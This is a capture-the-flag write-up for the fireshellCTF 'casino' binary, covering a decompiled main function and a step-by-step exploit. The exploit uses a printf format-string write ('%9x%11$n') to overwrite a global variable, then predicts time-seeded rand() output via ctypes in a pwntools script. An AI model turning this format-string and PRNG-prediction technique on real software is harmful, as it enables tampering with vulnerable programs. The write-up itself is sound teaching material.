_blackb3ard/pwn_exhibit$

pwn notes from an exploit dev wannabe

Home CTF Writeups

fireshellCTF: casino

tl;dr: format string write, predict PRNG output

This took me quite a while to figure out since I had no clue on how to work with the pseudorandom number generator (PRNG), but after some reading (and taking a peek at some other writeups) I finally understood how to do it. First things first, we check the security measures of the binary:

$ file casino
casino: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d5555a0a9faa7cb92e3619e841fb4a5b13288f4e, not stripped

$ checksec casino
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Code Review

Most security protections are on, so we’ll have to figure out things along the way. I decompiled the binary through GHIDRA, and this is the resulting code:

undefined8 main(void)

{
  int random_number;
  time_t seed;
  FILE *flag;
  long in_FS_OFFSET;
  int win_bet;
  uint loop_condition;
  char buffer [16];
  undefined local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  seed = time((time_t *)0x0);
  printf("What is your name? ");
  read(0,buffer,0x10);
  printf("Welcome ");
  printf(buffer);
  putchar(10);
  srand((uint)seed / 10 + bet);
  win_bet = 0;
  loop_condition = 1;
  while ((int)loop_condition < 100) {
    random_number = rand();
    printf("[%d/100] Guess my number: ",(ulong)loop_condition);
    __isoc99_scanf(&DAT_00400cd5);
    if (random_number != 0) {
      puts("Sorry! It was not my number");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("Correct!");
    win_bet = win_bet + bet;
    loop_condition = loop_condition + 1;
  }
  if (100 < win_bet) {
    puts("Cool! Here\'s another prize");
    flag = fopen("flag.txt","r");
    fread(local_38,0x1e,1,flag);
    fclose(flag);
    printf("%s",local_38);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Reviewing the code, we spot a vulnerable printf call, which signals that we can perform a format string attack against the binary. Looking further down we see how the seed value is generated. We also see a while loop that goes on for 99 iterations checking if the input we supplied is equal to the number generated by the seeded rand function. If we get it correctly, some variables are incremented. The final if case checks if the win_bet variable is greater than 100, then we can be able to get the flag.

The problem is that win_bet is initialized with a value of zero, then is incremented by 1 (bet’s value) for the duration of the loop which runs for 99 times - making win_bet only 99 thus failing the check to the if case. The printf vulnerability will come in handy at this point since it will allow us to write to the bet variable, making it possible to bypass the check.

The Plan

Our plan will be to first overwrite the bet variable via a format string write, generate the random values from the predictable RNG then add the value we wrote bet into it, loop it for a hundred times, then we can get the flag.

Format String Overwrite

We need to find out at which offset we can overwrite stuff, and since I was lazy, I created a short script to automate this for me:

for i in range(1,20):
	p = process('./casino')
	print(p.recv())
	print('Offset {}'.format(i))
	p.sendline('AAAABBBB %{}$p'.format(i))
	print(p.recv())

Scanning through the results, we see that our buffer is at the 10th offset. Now we just need to supply the address of the bet variable. We can easily get this from gdb:

$ gdb ./casino
  gdb-peda$ disas main
  [...]
  0x0000000000400ae2 <+147>:	mov    eax,DWORD PTR [rip+0x201538]        # 0x602020 <bet>
  [...]
  
  gdb-peda$ x/ 0x602020
  0x602020 <bet>:	0x1

Since this is a 64-bit binary, we need to put the address after the format string, add 1 to the offset since it will adjust accordingly. Now to verify if we did it correctly:

p = process('./casino')
print(p.recv())
p.sendline('%11$p{}'.format(p64(0x602020)))
print(p.recv())
$ python exploit.py
[x] Starting local process './casino'
[+] Starting local process './casino': pid 19476
What is your name? 
Welcome 0xa0000000000  `
[1/100] Guess my number: 
[*] Stopped process './casino' (pid 19476)

We can confirm that we correctly placed our target address into the buffer. Next thing we need to do is to write some value into the bet variable, in our case we’ll be assigning it with 9. Modifying our exploit script a little bit we get this:

p = process('./casino')
print(p.recv())
p.sendline('%9x%11$n{}'.format(p64(0x602020)))
print(p.recv())

We’ll need to manually test if it works through gdb. Redirect the output of our format string attack to a file and input it to gdb.

gdb-peda$ break *0x0000000000400af0
Breakpoint 1 at 0x400af0

gdb-peda$ r < fmt
[...]
Breakpoint 1, 0x0000000000400b0a in main ()

gdb-peda$ x/ 0x602020
0x602020 <bet>:	0x0000000000000009

Examining the value of the bet variable, we have successfully overwritten it with 9.

Not Pseu(do) Random

Since we already know that the random function is seeded with time(0) / 10 + bet we can easily mimic this to get the values we need. This was the problem that kept me stuck on this challenge for so long, but with the help of this guide, I easily did it. To check which libc the binary is using, and to get the path to it, we use ldd:

$ ldd casino
	linux-vdso.so.1 (0x00007ffcadff6000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f83744e0000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f83748d1000)

From this point will be smooth sailing, since we just follow the guide and do the RNG algorithm on a simple python script:

from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0) / 10
libc.srand(seed + 9)
libc.rand()

Combining all our little exploits, we get our final exploit script:

from pwn import *
from ctypes import *

#: Connect to challenge server
binary = ELF('./casino', checksec=False)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
p = binary.process()
print(p.recv())

#: Exploit code
#: PRNG Exploit
seed = libc.time(0) / 10
p.sendline('%9x%11$n{}'.format(p64(0x602020)))
print(p.recv())
libc.srand(seed + 9)

for i in range(99):
	p.sendline(str(libc.rand()))
	print(p.recv())

Run to get the flag!

$ python exploit.py
[...]
[96/100] Guess my number: 
Correct!
[97/100] Guess my number: 
Correct!
[98/100] Guess my number: 
Correct!
[99/100] Guess my number: 
Correct!
Cool! Here's another prize
F#{buggy_c4s1n0_1s_n0t_f41r!}